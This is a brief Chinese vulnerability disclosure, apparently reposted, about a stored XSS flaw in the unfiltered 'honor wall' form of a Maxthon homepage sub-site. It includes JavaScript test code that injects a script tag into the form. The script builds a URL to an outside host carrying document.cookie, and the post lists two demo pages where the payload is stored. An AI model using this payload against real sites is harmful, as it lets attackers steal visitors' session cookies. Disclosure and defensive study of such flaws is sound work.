遨游分站存储型xss - 网站安全 - 自学php

遨游浏览器的默认主页是http://i.maxthon.cn/，此分站是此主页的一个应用，访问比较大。  http://app1.i.maxthon.cn/存在存储型xss，和浏览器结合危害比较大。   荣誉墙服务端没有过滤，所有input标签无一幸免。 测试代码，浏览器本地提交： document.getElementById("widget-wall-to").value="天马行空工作室"; document.getElementById("widget-wall-from").value="tmxk.org"; document.getElementById("widget-wall-words").value="<script>s="//tmxk.org/m/c?="+document.cookie;alert("xss by i@tmxk.org&#10&#10"+s);</script>"; document.getElementById("form").submit(); 演示地址： http://app1.i.maxthon.cn/?m=show&id=33481 http://app1.i.maxthon.cn/?m=show&id=33482   HdhCmsTest2cto测试数据     作者：random_

查看更多关于遨游分站存储型xss - 网站安全 - 自学php的详细内容...